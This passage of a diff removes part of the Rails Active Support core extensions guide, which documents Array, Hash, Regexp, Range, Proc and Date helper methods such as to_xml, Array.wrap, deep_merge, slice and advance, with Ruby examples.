-If there's any element that does not belong to the type of the first one the root node becomes "records":
-
-<ruby>
-[Contributor.first, Commit.first].to_xml
-# =>
-# <?xml version="1.0" encoding="UTF-8"?>
-# <records type="array">
-#   <record>
-#     <id type="integer">4583</id>
-#     <name>Aaron Batalion</name>
-#     <rank type="integer">53</rank>
-#     <url-id>aaron-batalion</url-id>
-#   </record>
-#   <record>
-#     <author>Joshua Peek</author>
-#     <authored-timestamp type="datetime">2009-09-02T16:44:36Z</authored-timestamp>
-#     <branch>origin/master</branch>
-#     <committed-timestamp type="datetime">2009-09-02T16:44:36Z</committed-timestamp>
-#     <committer>Joshua Peek</committer>
-#     <git-show nil="true"></git-show>
-#     <id type="integer">190316</id>
-#     <imported-from-svn type="boolean">false</imported-from-svn>
-#     <message>Kill AMo observing wrap_with_notifications since ARes was only using it</message>
-#     <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1>
-#   </record>
-# </records>
-</ruby>
-
-If the receiver is an array of hashes the root element is by default also "records":
-
-<ruby>
-[{:a => 1, :b => 2}, {:c => 3}].to_xml
-# =>
-# <?xml version="1.0" encoding="UTF-8"?>
-# <records type="array">
-#   <record>
-#     <b type="integer">2</b>
-#     <a type="integer">1</a>
-#   </record>
-#   <record>
-#     <c type="integer">3</c>
-#   </record>
-# </records>
-</ruby>
-
-WARNING. If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the <tt>:root</tt> option to ensure a consistent root element.
-
-The name of children nodes is by default the name of the root node singularized. In the examples above we've seen "contributor" and "record". The option <tt>:children</tt> allows you to set these node names.
-
-The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can configure your own builder via the <tt>:builder</tt> option. The method also accepts options like <tt>:dasherize</tt> and friends, they are forwarded to the builder:
-
-<ruby>
-Contributor.limit(2).order(:rank).to_xml(:skip_types => true)
-# =>
-# <?xml version="1.0" encoding="UTF-8"?>
-# <contributors>
-#   <contributor>
-#     <id>4356</id>
-#     <name>Jeremy Kemper</name>
-#     <rank>1</rank>
-#     <url-id>jeremy-kemper</url-id>
-#   </contributor>
-#   <contributor>
-#     <id>4404</id>
-#     <name>David Heinemeier Hansson</name>
-#     <rank>2</rank>
-#     <url-id>david-heinemeier-hansson</url-id>
-#   </contributor>
-# </contributors>
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/array/conversions.rb+.
-
-h4. Wrapping
-
-The method +Array.wrap+ wraps its argument in an array unless it is already an array (or array-like).
-
-Specifically:
-
-* If the argument is +nil+ an empty list is returned.
-* Otherwise, if the argument responds to +to_ary+ it is invoked, and if the value of +to_ary+ is not +nil+, it is returned.
-* Otherwise, an array with the argument as its single element is returned.
-
-<ruby>
-Array.wrap(nil)       # => []
-Array.wrap([1, 2, 3]) # => [1, 2, 3]
-Array.wrap(0)         # => [0]
-</ruby>
-
-This method is similar in purpose to <tt>Kernel#Array</tt>, but there are some differences:
-
-* If the argument responds to +to_ary+ the method is invoked. <tt>Kernel#Array</tt> moves on to try +to_a+ if the returned value is +nil+, but <tt>Array.wrap</tt> returns +nil+ right away.
-* If the returned value from +to_ary+ is neither +nil+ nor an +Array+ object, <tt>Kernel#Array</tt> raises an exception, while <tt>Array.wrap</tt> does not, it just returns the value.
-* It does not call +to_a+ on the argument, though special-cases +nil+ to return an empty array.
-
-The last point is particularly worth comparing for some enumerables:
-
-<ruby>
-Array.wrap(:foo => :bar) # => [{:foo => :bar}]
-Array(:foo => :bar)      # => [[:foo, :bar]]
-
-Array.wrap("foo\nbar")   # => ["foo\nbar"]
-Array("foo\nbar")        # => ["foo\n", "bar"], in Ruby 1.8
-</ruby>
-
-There's also a related idiom that uses the splat operator:
-
-<ruby>
-[*object]
-</ruby>
-
-which in Ruby 1.8 returns +[nil]+ for +nil+, and calls to <tt>Array(object)</tt> otherwise. (Please if you know the exact behavior in 1.9 contact fxn.)
-
-Thus, in this case the behavior is different for +nil+, and the differences with <tt>Kernel#Array</tt> explained above apply to the rest of +object+s.
-
-NOTE: Defined in +active_support/core_ext/array/wrap.rb+.
-
-h4. Grouping
-
-h5. +in_groups_of(number, fill_with = nil)+
-
-The method +in_groups_of+ splits an array into consecutive groups of a certain size. It returns an array with the groups:
-
-<ruby>
-[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]
-</ruby>
-
-or yields them in turn if a block is passed:
-
-<ruby>
-<% sample.in_groups_of(3) do |a, b, c| %>
-  <tr>
-    <td><%=h a %></td>
-    <td><%=h b %></td>
-    <td><%=h c %></td>
-  </tr>
-<% end %>
-</ruby>
-
-The first example shows +in_groups_of+ fills the last group with as many +nil+ elements as needed to have the requested size. You can change this padding value using the second optional argument:
-
-<ruby>
-[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]
-</ruby>
-
-And you can tell the method not to fill the last group passing +false+:
-
-<ruby>
-[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]
-</ruby>
-
-As a consequence +false+ can't be a used as a padding value.
-
-NOTE: Defined in +active_support/core_ext/array/grouping.rb+.
-
-h5. +in_groups(number, fill_with = nil)+
-
-The method +in_groups+ splits an array into a certain number of groups. The method returns an array with the groups:
-
-<ruby>
-%w(1 2 3 4 5 6 7).in_groups(3)
-# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]
-</ruby>
-
-or yields them in turn if a block is passed:
-
-<ruby>
-%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
-["1", "2", "3"]
-["4", "5", nil]
-["6", "7", nil]
-</ruby>
-
-The examples above show that +in_groups+ fills some groups with a trailing +nil+ element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones.
-
-You can change this padding value using the second optional argument:
-
-<ruby>
-%w(1 2 3 4 5 6 7).in_groups(3, "0")
-# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]
-</ruby>
-
-And you can tell the method not to fill the smaller groups passing +false+:
-
-<ruby>
-%w(1 2 3 4 5 6 7).in_groups(3, false)
-# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]
-</ruby>
-
-As a consequence +false+ can't be a used as a padding value.
-
-NOTE: Defined in +active_support/core_ext/array/grouping.rb+.
-
-h5. +split(value = nil)+
-
-The method +split+ divides an array by a separator and returns the resulting chunks.
-
-If a block is passed the separators are those elements of the array for which the block returns true:
-
-<ruby>
-(-5..5).to_a.split { |i| i.multiple_of?(4) }
-# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]
-</ruby>
-
-Otherwise, the value received as argument, which defaults to +nil+, is the separator:
-
-<ruby>
-[0, 1, -5, 1, 1, "foo", "bar"].split(1)
-# => [[0], [-5], [], ["foo", "bar"]]
-</ruby>
-
-TIP: Observe in the previous example that consecutive separators result in empty arrays.
-
-NOTE: Defined in +active_support/core_ext/array/grouping.rb+.
-
-h3. Extensions to +Hash+
-
-h4(#hash-conversions). Conversions
-
-h5(#hash-to-xml). +to_xml+
-
-The method +to_xml+ returns a string containing an XML representation of its receiver:
-
-<ruby>
-{"foo" => 1, "bar" => 2}.to_xml
-# =>
-# <?xml version="1.0" encoding="UTF-8"?>
-# <hash>
-#   <foo type="integer">1</foo>
-#   <bar type="integer">2</bar>
-# </hash>
-</ruby>
-
-To do so, the method loops over the pairs and builds nodes that depend on the _values_. Given a pair +key+, +value+:
-
-* If +value+ is a hash there's a recursive call with +key+ as <tt>:root</tt>.
-
-* If +value+ is an array there's a recursive call with +key+ as <tt>:root</tt>, and +key+ singularized as <tt>:children</tt>.
-
-* If +value+ is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the +options+ hash as first argument with +key+ as <tt>:root</tt>, and +key+ singularized as second argument. Its return value becomes a new node.
-
-* If +value+ responds to +to_xml+ the method is invoked with +key+ as <tt>:root</tt>.
-
-* Otherwise, a node with +key+ as tag is created with a string representation of +value+ as text node. If +value+ is +nil+ an attribute "nil" set to "true" is added. Unless the option <tt>:skip_types</tt> exists and is true, an attribute "type" is added as well according to the following mapping:
-<ruby>
-XML_TYPE_NAMES = {
-  "Symbol"     => "symbol",
-  "Fixnum"     => "integer",
-  "Bignum"     => "integer",
-  "BigDecimal" => "decimal",
-  "Float"      => "float",
-  "TrueClass"  => "boolean",
-  "FalseClass" => "boolean",
-  "Date"       => "date",
-  "DateTime"   => "datetime",
-  "Time"       => "datetime"
-}
-</ruby>
-
-By default the root node is "hash", but that's configurable via the <tt>:root</tt> option.
-
-The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can configure your own builder with the <tt>:builder</tt> option. The method also accepts options like <tt>:dasherize</tt> and friends, they are forwarded to the builder.
-
-NOTE: Defined in +active_support/core_ext/hash/conversions.rb+.
-
-h4. Merging
-
-Ruby has a built-in method +Hash#merge+ that merges two hashes:
-
-<ruby>
-{:a => 1, :b => 1}.merge(:a => 0, :c => 2)
-# => {:a => 0, :b => 1, :c => 2}
-</ruby>
-
-Active Support defines a few more ways of merging hashes that may be convenient.
-
-h5. +reverse_merge+ and +reverse_merge!+
-
-In case of collision the key in the hash of the argument wins in +merge+. You can support option hashes with default values in a compact way with this idiom:
-
-<ruby>
-options = {:length => 30, :omission => "..."}.merge(options)
-</ruby>
-
-Active Support defines +reverse_merge+ in case you prefer this alternative notation:
-
-<ruby>
-options = options.reverse_merge(:length => 30, :omission => "...")
-</ruby>
-
-And a bang version +reverse_merge!+ that performs the merge in place:
-
-<ruby>
-options.reverse_merge!(:length => 30, :omission => "...")
-</ruby>
-
-WARNING. Take into account that +reverse_merge!+ may change the hash in the caller, which may or may not be a good idea.
-
-NOTE: Defined in +active_support/core_ext/hash/reverse_merge.rb+.
-
-h5. +reverse_update+
-
-The method +reverse_update+ is an alias for +reverse_merge!+, explained above.
-
-WARNING. Note that +reverse_update+ has no bang.
-
-NOTE: Defined in +active_support/core_ext/hash/reverse_merge.rb+.
-
-h5. +deep_merge+ and +deep_merge!+
-
-As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins.
-
-Active Support defines +Hash#deep_merge+. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their _merge_ becomes the value in the resulting hash:
-
-<ruby>
-{:a => {:b => 1}}.deep_merge(:a => {:c => 2})
-# => {:a => {:b => 1, :c => 2}}
-</ruby>
-
-The method +deep_merge!+ performs a deep merge in place.
-
-NOTE: Defined in +active_support/core_ext/hash/deep_merge.rb+.
-
-h4. Diffing
-
-The method +diff+ returns a hash that represents a diff of the receiver and the argument with the following logic:
-
-* Pairs +key+, +value+ that exist in both hashes do not belong to the diff hash.
-
-* If both hashes have +key+, but with different values, the pair in the receiver wins.
-
-* The rest is just merged.
-
-<ruby>
-{:a => 1}.diff(:a => 1)
-# => {}, first rule
-
-{:a => 1}.diff(:a => 2)
-# => {:a => 1}, second rule
-
-{:a => 1}.diff(:b => 2)
-# => {:a => 1, :b => 2}, third rule
-
-{:a => 1, :b => 2, :c => 3}.diff(:b => 1, :c => 3, :d => 4)
-# => {:a => 1, :b => 2, :d => 4}, all rules
-
-{}.diff({})        # => {}
-{:a => 1}.diff({}) # => {:a => 1}
-{}.diff(:a => 1)   # => {:a => 1}
-</ruby>
-
-An important property of this diff hash is that you can retrieve the original hash by applying +diff+ twice:
-
-<ruby>
-hash.diff(hash2).diff(hash2) == hash
-</ruby>
-
-Diffing hashes may be useful for error messages related to expected option hashes for example.
-
-NOTE: Defined in +active_support/core_ext/hash/diff.rb+.
-
-h4. Working with Keys
-
-h5. +except+ and +except!+
-
-The method +except+ returns a hash with the keys in the argument list removed, if present:
-
-<ruby>
-{:a => 1, :b => 2}.except(:a) # => {:b => 2}
-</ruby>
-
-If the receiver responds to +convert_key+, the method is called on each of the arguments. This allows +except+ to play nice with hashes with indifferent access for instance:
-
-<ruby>
-{:a => 1}.with_indifferent_access.except(:a)  # => {}
-{:a => 1}.with_indifferent_access.except("a") # => {}
-</ruby>
-
-The method +except+ may come in handy for example when you want to protect some parameter that can't be globally protected with +attr_protected+:
-
-<ruby>
-params[:account] = params[:account].except(:plan_id) unless admin?
-@account.update_attributes(params[:account])
-</ruby>
-
-There's also the bang variant +except!+ that removes keys in the very receiver.
-
-NOTE: Defined in +active_support/core_ext/hash/except.rb+.
-
-h5. +stringify_keys+ and +stringify_keys!+
-
-The method +stringify_keys+ returns a hash that has a stringified version of the keys in the receiver. It does so by sending +to_s+ to them:
-
-<ruby>
-{nil => nil, 1 => 1, :a => :a}.stringify_keys
-# => {"" => nil, "a" => :a, "1" => 1}
-</ruby>
-
-The result in case of collision is undefined:
-
-<ruby>
-{"a" => 1, :a => 2}.stringify_keys
-# => {"a" => 2}, in my test, can't rely on this result though
-</ruby>
-
-This method may be useful for example to easily accept both symbols and strings as options. For instance +ActionView::Helpers::FormHelper+ defines:
-
-<ruby>
-def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
-  options = options.stringify_keys
-  options["type"] = "checkbox"
-  ...
-end
-</ruby>
-
-The second line can safely access the "type" key, and let the user to pass either +:type+ or "type".
-
-There's also the bang variant +stringify_keys!+ that stringifies keys in the very receiver.
-
-NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
-
-h5. +symbolize_keys+ and +symbolize_keys!+
-
-The method +symbolize_keys+ returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending +to_sym+ to them:
-
-<ruby>
-{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys
-# => {1 => 1, nil => nil, :a => "a"}
-</ruby>
-
-WARNING. Note in the previous example only one key was symbolized.
-
-The result in case of collision is undefined:
-
-<ruby>
-{"a" => 1, :a => 2}.symbolize_keys
-# => {:a => 2}, in my test, can't rely on this result though
-</ruby>
-
-This method may be useful for example to easily accept both symbols and strings as options. For instance +ActionController::UrlRewriter+ defines
-
-<ruby>
-def rewrite_path(options)
-  options = options.symbolize_keys
-  options.update(options[:params].symbolize_keys) if options[:params]
-  ...
-end
-</ruby>
-
-The second line can safely access the +:params+ key, and let the user to pass either +:params+ or "params".
-
-There's also the bang variant +symbolize_keys!+ that symbolizes keys in the very receiver.
-
-NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
-
-h5. +to_options+ and +to_options!+
-
-The methods +to_options+ and +to_options!+ are respectively aliases of +symbolize_keys+ and +symbolize_keys!+.
-
-NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
-
-h5. +assert_valid_keys+
-
-The method +assert_valid_keys+ receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does +ArgumentError+ is raised.
-
-<ruby>
-{:a => 1}.assert_valid_keys(:a)  # passes
-{:a => 1}.assert_valid_keys("a") # ArgumentError
-</ruby>
-
-Active Record does not accept unknown options when building associations for example. It implements that control via +assert_valid_keys+:
-
-<ruby>
-mattr_accessor :valid_keys_for_has_many_association
-@@valid_keys_for_has_many_association = [
-  :class_name, :table_name, :foreign_key, :primary_key,
-  :dependent,
-  :select, :conditions, :include, :order, :group, :having, :limit, :offset,
-  :as, :through, :source, :source_type,
-  :uniq,
-  :finder_sql, :counter_sql,
-  :before_add, :after_add, :before_remove, :after_remove,
-  :extend, :readonly,
-  :validate, :inverse_of
-]
-
-def create_has_many_reflection(association_id, options, &extension)
-  options.assert_valid_keys(valid_keys_for_has_many_association)
-  ...
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/hash/keys.rb+.
-
-h4. Slicing
-
-Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes:
-
-<ruby>
-{:a => 1, :b => 2, :c => 3}.slice(:a, :c)
-# => {:c => 3, :a => 1}
-
-{:a => 1, :b => 2, :c => 3}.slice(:b, :X)
-# => {:b => 2} # non-existing keys are ignored
-</ruby>
-
-If the receiver responds to +convert_key+ keys are normalized:
-
-<ruby>
-{:a => 1, :b => 2}.with_indifferent_access.slice("a")
-# => {:a => 1}
-</ruby>
-
-NOTE. Slicing may come in handy for sanitizing option hashes with a white list of keys.
-
-There's also +slice!+ which in addition to perform a slice in place returns what's removed:
-
-<ruby>
-hash = {:a => 1, :b => 2}
-rest = hash.slice!(:a) # => {:b => 2}
-hash                   # => {:a => 1}
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/hash/slice.rb+.
-
-h4. Extracting
-
-The method +extract!+ removes and returns the key/value pairs matching the given keys.
-
-<ruby>
-hash = {:a => 1, :b => 2}
-rest = hash.extract!(:a) # => {:a => 1}
-hash                     # => {:b => 2}
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/hash/slice.rb+.
-
-h4. Indifferent Access
-
-The method +with_indifferent_access+ returns an +ActiveSupport::HashWithIndifferentAccess+ out of its receiver:
-
-<ruby>
-{:a => 1}.with_indifferent_access["a"] # => 1
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/hash/indifferent_access.rb+.
-
-h3. Extensions to +Regexp+
-
-h4. +multiline?+
-
-The method +multiline?+ says whether a regexp has the +/m+ flag set, that is, whether the dot matches newlines.
-
-<ruby>
-%r{.}.multiline?  # => false
-%r{.}m.multiline? # => true
-
-Regexp.new('.').multiline?                    # => false
-Regexp.new('.', Regexp::MULTILINE).multiline? # => true
-</ruby>
-
-Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint.
-
-<ruby>
-def assign_route_options(segments, defaults, requirements)
-  ...
-  if requirement.multiline?
-    raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}"
-  end
-  ...
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/regexp.rb+.
-
-h3. Extensions to +Range+
-
-h4. +to_s+
-
-Active Support extends the method +Range#to_s+ so that it understands an optional format argument. As of this writing the only supported non-default format is +:db+:
-
-<ruby>
-(Date.today..Date.tomorrow).to_s
-# => "2009-10-25..2009-10-26"
-
-(Date.today..Date.tomorrow).to_s(:db)
-# => "BETWEEN '2009-10-25' AND '2009-10-26'"
-</ruby>
-
-As the example depicts, the +:db+ format generates a +BETWEEN+ SQL clause. That is used by Active Record in its support for range values in conditions.
-
-NOTE: Defined in +active_support/core_ext/range/conversions.rb+.
-
-h4. +step+
-
-Active Support extends the method +Range#step+ so that it can be invoked without a block:
-
-<ruby>
-(1..10).step(2) # => [1, 3, 5, 7, 9]
-</ruby>
-
-As the example shows, in that case the method returns an array with the corresponding elements.
-
-NOTE: Defined in +active_support/core_ext/range/blockless_step.rb+.
-
-h4. +include?+
-
-The method +Range#include?+ says whether some value falls between the ends of a given instance:
-
-<ruby>
-(2..3).include?(Math::E) # => true
-</ruby>
-
-Active Support extends this method so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves:
-
-<ruby>
-(1..10).include?(3..7)  # => true
-(1..10).include?(0..7)  # => false
-(1..10).include?(3..11) # => false
-(1...9).include?(3..9)  # => false
-</ruby>
-
-WARNING: The original +Range#include?+ is still the one aliased to +Range#===+.
-
-NOTE: Defined in +active_support/core_ext/range/include_range.rb+.
-
-h4. +cover?+
-
-Ruby 1.9 provides +cover?+, and Active Support defines it for previous versions as an alias for +include?+.
-
-The method +include?+ in Ruby 1.9 is different from the one in 1.8 for non-numeric ranges: instead of being based on comparisons between the value and the range's endpoints, it walks the range with +succ+ looking for value. This works better for ranges with holes, but it has different complexity and may not finish in some other cases.
-
-In Ruby 1.9 the old behavior is still available in the new +cover?+, which Active Support backports for forward compatibility. For example, Rails uses +cover?+ for ranges in +validates_inclusion_of+.
-
-h4. +overlaps?+
-
-The method +Range#overlaps?+ says whether any two given ranges have non-void intersection:
-
-<ruby>
-(1..10).overlaps?(7..11)  # => true
-(1..10).overlaps?(0..7)   # => true
-(1..10).overlaps?(11..27) # => false
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/range/overlaps.rb+.
-
-h3. Extensions to +Proc+
-
-h4. +bind+
-
-As you surely know Ruby has an +UnboundMethod+ class whose instances are methods that belong to the limbo of methods without a self. The method +Module#instance_method+ returns an unbound method for example:
-
-<ruby>
-Hash.instance_method(:delete) # => #<UnboundMethod: Hash#delete>
-</ruby>
-
-An unbound method is not callable as is, you need to bind it first to an object with +bind+:
-
-<ruby>
-clear = Hash.instance_method(:clear)
-clear.bind({:a => 1}).call # => {}
-</ruby>
-
-Active Support defines +Proc#bind+ with an analogous purpose:
-
-<ruby>
-Proc.new { size }.bind([]).call # => 0
-</ruby>
-
-As you see that's callable and bound to the argument, the return value is indeed a +Method+.
-
-NOTE: To do so +Proc#bind+ actually creates a method under the hood. If you ever see a method with a weird name like +__bind_1256598120_237302+ in a stack trace you know now where it comes from.
-
-Action Pack uses this trick in +rescue_from+ for example, which accepts the name of a method and also a proc as callbacks for a given rescued exception. It has to call them in either case, so a bound method is returned by +handler_for_rescue+, thus simplifying the code in the caller:
-
-<ruby>
-def handler_for_rescue(exception)
-  _, rescuer = Array(rescue_handlers).reverse.detect do |klass_name, handler|
-    ...
-  end
-
-  case rescuer
-  when Symbol
-    method(rescuer)
-  when Proc
-    rescuer.bind(self)
-  end
-end
-</ruby>
-
-NOTE: Defined in +active_support/core_ext/proc.rb+.
-
-h3. Extensions to +Date+
-
-h4. Calculations
-
-NOTE: All the following methods are defined in +active_support/core_ext/date/calculations.rb+.
-
-INFO: The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, +Date.new(1582, 10, 4).tomorrow+ returns +Date.new(1582, 10, 15)+ and so on. Please check +test/core_ext/date_ext_test.rb+ in the Active Support test suite for expected behavior.
-
-h5. +Date.current+
-
-Active Support defines +Date.current+ to be today in the current time zone. That's like +Date.today+, except that it honors the user time zone, if defined. It also defines +Date.yesterday+ and +Date.tomorrow+, and the instance predicates +past?+, +today?+, and +future?+, all of them relative to +Date.current+.
-
-When making Date comparisons using methods which honor the user time zone, make sure to use +Date.current+ and not +Date.today+. There are cases where the user time zone might be in the future compared to the system time zone, which +Date.today+ uses by default. This means +Date.today+ may equal +Date.yesterday+.
-
-h5. Named dates
-
-h6. +prev_year+, +next_year+
-
-In Ruby 1.9 +prev_year+ and +next_year+ return a date with the same day/month in the last or next year:
-
-<ruby>
-d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
-d.prev_year              # => Fri, 08 May 2009
-d.next_year              # => Sun, 08 May 2011
-</ruby>
-
-If date is the 29th of February of a leap year, you obtain the 28th:
-
-<ruby>
-d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000
-d.prev_year               # => Sun, 28 Feb 1999
-d.next_year               # => Wed, 28 Feb 2001
-</ruby>
-
-Active Support defines these methods as well for Ruby 1.8.
-
-h6. +prev_month+, +next_month+
-
-In Ruby 1.9 +prev_month+ and +next_month+ return the date with the same day in the last or next month:
-
-<ruby>
-d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
-d.prev_month             # => Thu, 08 Apr 2010
-d.next_month             # => Tue, 08 Jun 2010
-</ruby>
-
-If such a day does not exist, the last day of the corresponding month is returned:
-
-<ruby>
-Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000
-Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000
-Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000
-Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000
-</ruby>
-
-Active Support defines these methods as well for Ruby 1.8.
-
-h6. +beginning_of_week+, +end_of_week+
-
-The methods +beginning_of_week+ and +end_of_week+ return the dates for the beginning and end of week, assuming weeks start on Monday:
-
-<ruby>
-d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
-d.beginning_of_week      # => Mon, 03 May 2010
-d.end_of_week            # => Sun, 09 May 2010
-</ruby>
-
-+beginning_of_week+ is aliased to +monday+ and +at_beginning_of_week+. +end_of_week+ is aliased to +sunday+ and +at_end_of_week+.
-
-h6. +prev_week+, +next_week+
-
-The method +next_week+ receives a symbol with a day name in English (in lowercase, default is +:monday+) and it returns the date corresponding to that day:
-
-<ruby>
-d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
-d.next_week              # => Mon, 10 May 2010
-d.next_week(:saturday)   # => Sat, 15 May 2010
-</ruby>
-
-The method +prev_week+ is analogous:
-
-<ruby>
-d.prev_week              # => Mon, 26 Apr 2010
-d.prev_week(:saturday)   # => Sat, 01 May 2010
-d.prev_week(:friday)     # => Fri, 30 Apr 2010
-</ruby>
-
-h6. +beginning_of_month+, +end_of_month+
-
-The methods +beginning_of_month+ and +end_of_month+ return the dates for the beginning and end of the month:
-
-<ruby>
-d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
-d.beginning_of_month     # => Sat, 01 May 2010
-d.end_of_month           # => Mon, 31 May 2010
-</ruby>
-
-+beginning_of_month+ is aliased to +at_beginning_of_month+, and +end_of_month+ is aliased to +at_end_of_month+.
-
-h6. +beginning_of_quarter+, +end_of_quarter+
-
-The methods +beginning_of_quarter+ and +end_of_quarter+ return the dates for the beginning and end of the quarter of the receiver's calendar year:
-
-<ruby>
-d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
-d.beginning_of_quarter   # => Thu, 01 Apr 2010
-d.end_of_quarter         # => Wed, 30 Jun 2010
-</ruby>
-
-+beginning_of_quarter+ is aliased to +at_beginning_of_quarter+, and +end_of_quarter+ is aliased to +at_end_of_quarter+.
-
-h6. +beginning_of_year+, +end_of_year+
-
-The methods +beginning_of_year+ and +end_of_year+ return the dates for the beginning and end of the year:
-
-<ruby>
-d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
-d.beginning_of_year      # => Fri, 01 Jan 2010
-d.end_of_year            # => Fri, 31 Dec 2010
-</ruby>
-
-+beginning_of_year+ is aliased to +at_beginning_of_year+, and +end_of_year+ is aliased to +at_end_of_year+.
-
-h5. Other Date Computations
-
-h6. +years_ago+, +years_since+
-
-The method +years_ago+ receives a number of years and returns the same date those many years ago:
-
-<ruby>
-date = Date.new(2010, 6, 7)
-date.years_ago(10) # => Wed, 07 Jun 2000
-</ruby>
-
-+years_since+ moves forward in time:
-
-<ruby>
-date = Date.new(2010, 6, 7)
-date.years_since(10) # => Sun, 07 Jun 2020
-</ruby>
-
-If such a day does not exist, the last day of the corresponding month is returned:
-
-<ruby>
-Date.new(2012, 2, 29).years_ago(3)     # => Sat, 28 Feb 2009
-Date.new(2012, 2, 29).years_since(3)   # => Sat, 28 Feb 2015
-</ruby>
-
-h6. +months_ago+, +months_since+
-
-The methods +months_ago+ and +months_since+ work analogously for months:
-
-<ruby>
-Date.new(2010, 4, 30).months_ago(2)   # => Sun, 28 Feb 2010
-Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010
-</ruby>
-
-If such a day does not exist, the last day of the corresponding month is returned:
-
-<ruby>
-Date.new(2010, 4, 30).months_ago(2)    # => Sun, 28 Feb 2010
-Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010
-</ruby>
-
-h6. +weeks_ago+
-
-The method +weeks_ago+ works analogously for weeks:
-
-<ruby>
-Date.new(2010, 5, 24).weeks_ago(1)    # => Mon, 17 May 2010
-Date.new(2010, 5, 24).weeks_ago(2)    # => Mon, 10 May 2010
-</ruby>
-
-h6. +advance+
-
-The most generic way to jump to other days is +advance+. This method receives a hash with keys +:years+, +:months+, +:weeks+, +:days+, and returns a date advanced as much as the present keys indicate:
-
-<ruby>
-date = Date.new(2010, 6, 6)
-date.advance(:years => 1, :weeks => 2)  # => Mon, 20 Jun 2011
-date.advance(:months => 2, :days => -2) # => Wed, 04 Aug 2010
-</ruby>
-
-Note in the previous example that increments may be negative.
-
-To perform the computation the method first increments years, then months, then weeks, and finally days. This order is important towards the end of months. Say for example we are at the end of February of 2010, and we want to move one month and one day forward.
-
-The method +advance+ advances first one month, and then one day, the result is:
-
-<ruby>
-Date.new(2010, 2, 28).advance(:months => 1, :days => 1)
-# => Sun, 29 Mar 2010
-</ruby>
-
-While if it did it the other way around the result would be different:
-
-<ruby>
-Date.new(2010, 2, 28).advance(:days => 1).advance(:months => 1)
-# => Thu, 01 Apr 2010
-</ruby>
-
-h5. Changing Components
-
-The method +change+ allows you to get a new date which is the same as the receiver except for the given year, month, or day:
-
-<ruby>
-Date.new(2010, 12, 23).change(:year => 2011, :month => 11)
-# => Wed, 23 Nov 2011
-</ruby>
-
-This method is not tolerant to non-existing dates, if the change is invalid +ArgumentError+ is raised:
-
-<ruby>
-Date.new(2010, 1, 31).change(:month => 2)
-# => ArgumentError: invalid date
-</ruby>
-
-h5(#date-durations). Durations
-
-Durations can be added to and subtracted from dates:
-
-<ruby>
-d = Date.current
-# => Mon, 09 Aug 2010
-d + 1.year
-# => Tue, 09 Aug 2011
-d - 3.hours
-# => Sun, 08 Aug 2010 21:00:00 UTC +00:00
-</ruby>
-
-They translate to calls to +since+ or +advance+. For example here we get the correct jump in the calendar reform:
-
-<ruby>
-Date.new(1582, 10, 4) + 1.day
-# => Fri, 15 Oct 1582
-</ruby>
-
-h5. Timestamps
-
-INFO: The following methods return a +Time+ object if possible, otherwise a +DateTime+. If set, they honor the user time zone.
-
-h6. +beginning_of_day+, +end_of_day+
-
-The method +beginning_of_day+ returns a timestamp at the beginning of the day (00:00:00):
-
-<ruby>
-date = Date.new(2010, 6, 7)
-date.beginning_of_day # => Sun Jun 07 00:00:00 +0200 2010
-</ruby>
-
-The method +end_of_day+ returns a timestamp at the end of the day (23:59:59):
-
-<ruby>
-date = Date.new(2010, 6, 7)
-date.end_of_day # => Sun Jun 06 23:59:59 +0200 2010
-</ruby>
-
-+beginning_of_day+ is aliased to +at_beginning_of_day+, +midnight+, +at_midnight+.
-
-h6. +ago+, +since+
-
-The method +ago+ receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:
-
-<ruby>
-date = Date.current # => Fri, 11 Jun 2010
